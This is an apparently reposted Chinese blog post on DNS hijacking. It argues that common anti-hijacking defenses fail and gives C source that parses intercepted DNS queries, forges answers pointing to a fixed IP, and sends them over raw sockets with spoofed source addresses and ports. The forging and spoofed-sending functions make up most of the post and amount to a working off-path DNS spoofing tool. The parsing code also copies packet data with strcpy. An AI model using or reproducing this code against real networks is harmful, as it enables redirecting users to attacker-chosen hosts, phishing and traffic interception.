博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
DNS劫持原理与实现
阅读量:6225 次
发布时间:2019-06-21

本文共 5836 字,大约阅读时间需要 19 分钟。

hot3.png

    上篇说到旁路劫持的原理与实现,主要还是针对TCP下HTTP服务而言的,有粉儿问了二个问题,一个问题是基于TCP的HTTP服务可以防劫持吗,网上有许多关于HTTP防劫持的办法,有说检测服务地址的,有说分片传输请求的,有说检测ttl值异常的,有说禁止重定向的,结论是都没用,伪造报文里网络层地址原本就是用户的目标地址,否则还叫什么伪造呢,请求报文分片web端能识别劫持设备就能识别,况且你确定你分片的报文在网络设备层发送前不会合并吗,ttl异常检测完全不靠谱,不用重定向200OK照样让你乖乖跳转;另一个问题是UDP能实现旁路劫持控制吗,结论是可以,UDP不同于TCP无连接无状态,只要数据合法先到先得,早年运营商控制P2P数据传输对带宽的占用就使用过类似方法,直接看代码吧不复杂。

DNS协议

//   0     1--4    05   06   07   08    9-11    12-15// +----+--------+----+----+----+----+--------+-------+// | QR | opcode | AA | TC | RD | RA | 
| rcode |// +----+--------+----+----+----+----+--------+-------+// +--------------------------------+// | DNS Header: ID + flags |// +--------------------------------+// | Question: type of query |// +--------------------------------+// | Answer: RR answer to query |// +--------------------------------+// | Authority: RR for name server |// +--------------------------------+// | Additional: RR(s) other info |// +--------------------------------+

DNS解析

void GtDnsParse(UCHAR* puszPacket, GTDNSHEADER_S* pstHead, GTDNSQUESTION_S* pstQues){	UCHAR* puszCur = puszPacket;	/* dns header */	memcpy(&pstHead->m_usIdent, puszCur, sizeof(USHORT));	puszCur += sizeof(USHORT);	memcpy(&pstHead->m_usFlags, puszCur, sizeof(USHORT));	puszCur += sizeof(USHORT);	memcpy(&pstHead->m_usQuCount, puszCur, sizeof(USHORT));	puszCur += sizeof(USHORT);	memcpy(&pstHead->m_usAnCount, puszCur, sizeof(USHORT));	puszCur += sizeof(USHORT);	memcpy(&pstHead->m_usNaCount, puszCur, sizeof(USHORT));	puszCur += sizeof(USHORT);	memcpy(&pstHead->m_usAdCount, puszCur, sizeof(USHORT));	puszCur += sizeof(USHORT);	/* dns question */	if (ntohs(pstHead->m_usQuCount) > 0) {		strcpy(pstQues->m_szUrl, (char*)puszCur);		puszCur += strlen(pstQues->m_szUrl) + 1;		memcpy(&pstQues->m_usType, puszCur, sizeof(USHORT));		puszCur += sizeof(USHORT);		memcpy(&pstQues->m_usClass, puszCur, sizeof(USHORT));		puszCur += sizeof(USHORT);	}	return;}

DNS劫持

UINT GtDnsForge(UCHAR* puszPacket, GTDNSHEADER_S* pstHead, GTDNSQUESTION_S* pstQues){	UCHAR* puszCur = puszPacket;	/* dns header */	memcpy(puszCur, &pstHead->m_usIdent, sizeof(USHORT));	puszCur += sizeof(USHORT);	*(USHORT*)puszCur = htons(0X8180);	/**(USHORT*)puszCur |= DNS_FLAG_QR;	*(USHORT*)puszCur |= DNS_FLAG_AA;	*(USHORT*)puszCur |= DNS_FLAG_RD;	*(USHORT*)puszCur |= DNS_FLAG_RA;*/	puszCur += sizeof(USHORT);	*(USHORT*)puszCur = pstHead->m_usQuCount;	puszCur += sizeof(USHORT);	 *(USHORT*)puszCur = GT_DNS_AN;	puszCur += sizeof(USHORT);	 *(USHORT*)puszCur = GT_DNS_NA;	puszCur += sizeof(USHORT);	 *(USHORT*)puszCur = GT_DNS_AD;	puszCur += sizeof(USHORT);	/* dns question */	strcat((char*)puszCur, pstQues->m_szUrl);	puszCur += strlen(pstQues->m_szUrl) + 1;	*(USHORT*)puszCur = pstQues->m_usType;	puszCur += sizeof(USHORT);	*(USHORT*)puszCur = pstQues->m_usClass;	puszCur += sizeof(USHORT);	/* dns answer */	*(USHORT*)puszCur = GT_DNS_DOMAIN;	puszCur += sizeof(USHORT);	*(USHORT*)puszCur = GT_DNS_AN;	puszCur += sizeof(USHORT);	*(USHORT*)puszCur = GT_DNS_AN;	puszCur += sizeof(USHORT);	*(UINT*)puszCur = GT_DNS_DEFAULT_TTL;	puszCur += sizeof(UINT);	*(USHORT*)puszCur = GT_DNS_AN_SIZE;	puszCur += sizeof(USHORT);	*(UINT*)puszCur = inet_addr(GT_DNS_HTML);	puszCur += sizeof(UINT) + 1;	return (UINT)(puszCur - puszPacket);}

DNS伪造

void GtRawDnsSend(int iSocket, UCHAR* puszHeader, UCHAR* puszData, int iDataLength){	USHORT usSrcPort = 0;	USHORT usDstPort = 0;	struct sockaddr_in stRaw;	struct in_addr stSrcAddress;	struct in_addr stDstAddress;	struct ip* pstIP = NULL;	struct udphdr* pstUdp = NULL;	struct udphdr* pstRedirUdp = NULL;	UCHAR uszRedir[PACKET_SIZE] = { 0 };	/* ip header */	pstIP = (struct ip*)puszHeader;	memcpy(&stSrcAddress, &pstIP->ip_src, sizeof(struct in_addr));	memcpy(&stDstAddress, &pstIP->ip_dst, sizeof(struct in_addr));	/* udp Header */	pstUdp = (struct udphdr*)(puszHeader + pstIP->ip_hl * 4);	usSrcPort = ntohs(pstUdp->uh_sport);	usDstPort = ntohs(pstUdp->uh_dport);	/* redir packet */	memcpy(uszRedir + sizeof(struct ip) + sizeof(struct udphdr), puszData, iDataLength);	pstRedirUdp = (struct udphdr*)(uszRedir + sizeof(struct ip));	GtRawUdpHead((char*)pstRedirUdp, usDstPort, usSrcPort, sizeof(struct udphdr) + iDataLength);	pstRedirUdp->uh_sum = GtRawTransportCheckSum(IPPROTO_UDP, (char*)pstRedirUdp, sizeof(struct udphdr) + iDataLength, stDstAddress, stSrcAddress);	GtRawIPHead((char*)uszRedir, IPPROTO_UDP, stDstAddress, stSrcAddress, sizeof(struct ip) + sizeof(struct udphdr) + iDataLength);	memset(&stRaw, '\0', sizeof(struct sockaddr_in));	stRaw.sin_family = AF_INET;	stRaw.sin_addr = stSrcAddress;	stRaw.sin_port = htons(usSrcPort);	if( sendto(iSocket, uszRedir, sizeof(struct ip) + sizeof(struct udphdr) + iDataLength, 0, (struct sockaddr*)&stRaw, sizeof(struct sockaddr_in)) < 0 ) {		GT_ERROR("%s\n", strerror(errno));	}	return;}void GtRawUdpHead(char* pszPacket, USHORT usSrc, USHORT usDst, int iLength){	struct udphdr* pstUdp = (struct udphdr*)pszPacket;	pstUdp->uh_sport = htons(usSrc);	pstUdp->uh_dport = htons(usDst);	pstUdp->uh_ulen = htons(iLength);	pstUdp->uh_sum = 0;	return;}USHORT GtRawTransportCheckSum(UCHAR ucPro, char* pszPacket, int iLength, struct in_addr stSrc, struct in_addr stDst){	USHORT usAnswer = 0;	GTTCPPSEUDO_S stPseudo;	char szPseudo[PACKET_SIZE] = { 0 };	memset(&stPseudo, '\0', sizeof(GTTCPPSEUDO_S));	stPseudo.m_stSrc = stSrc;	stPseudo.m_stDst = stDst;	stPseudo.m_ucHolder = 0;	stPseudo.m_ucProtocol = ucPro;	stPseudo.m_usLength = htons(iLength);	memcpy(szPseudo, &stPseudo, sizeof(GTTCPPSEUDO_S));	memcpy(szPseudo + sizeof(GTTCPPSEUDO_S), pszPacket, iLength);	usAnswer = (USHORT)GtRawIPCheckSum((USHORT*)szPseudo, sizeof(GTTCPPSEUDO_S) + iLength);	return usAnswer;}

    连续两篇论述关于劫持的文章其实是想说明,技术本身是为了产品和功能服务的没有好与坏善与恶之说,用的不好给人带来糟糕的体验不说还使人厌烦,用的好可以净化网络环境屏蔽不良信息,希望诸位网络活动的参与者从自身做起共同维护良好的网络秩序。

转载于:https://my.oschina.net/gonglibin/blog/994146

你可能感兴趣的文章
利用Object.prototype.toString.call()来进行类型检验
查看>>
如何在Vue里建立长按指令
查看>>
vue分析之template模板解析AST
查看>>
26自学转行前端(写给和1年前一样迷茫的我的你)
查看>>
机器学习实战_集成学习(一)
查看>>
重构-改善既有代码的设计(七)-- 在代码之间搬移特性
查看>>
如果连铁将军都不再可靠--记一次排查使用分布式轮候锁+SESSION防订单重复仍然加锁失效问题经历...
查看>>
嵌入式linux系统的开发——SDK环境的应用
查看>>
什么是以太坊?什么是智能合约?
查看>>
利用Python实现卷积神经网络的可视化
查看>>
【译】Java、Kotlin、RN、Flutter 开发出来的 App 大小,你了解过吗?
查看>>
你不得不知的Event Loop
查看>>
canvas 时钟
查看>>
clipboard.js代码分析(3)- good-listener
查看>>
如何解决C语言,函数名与宏冲突
查看>>
C 标准库 - string.h之strpbrk使用
查看>>
Java开发
查看>>
百万英雄,芝士超人,冲顶大会等答题助手
查看>>
WPF:Graphics图画--Brushes画刷--VisualBrush可视画刷
查看>>
Spring Boot 中使用 MongoDB 增删改查
查看>>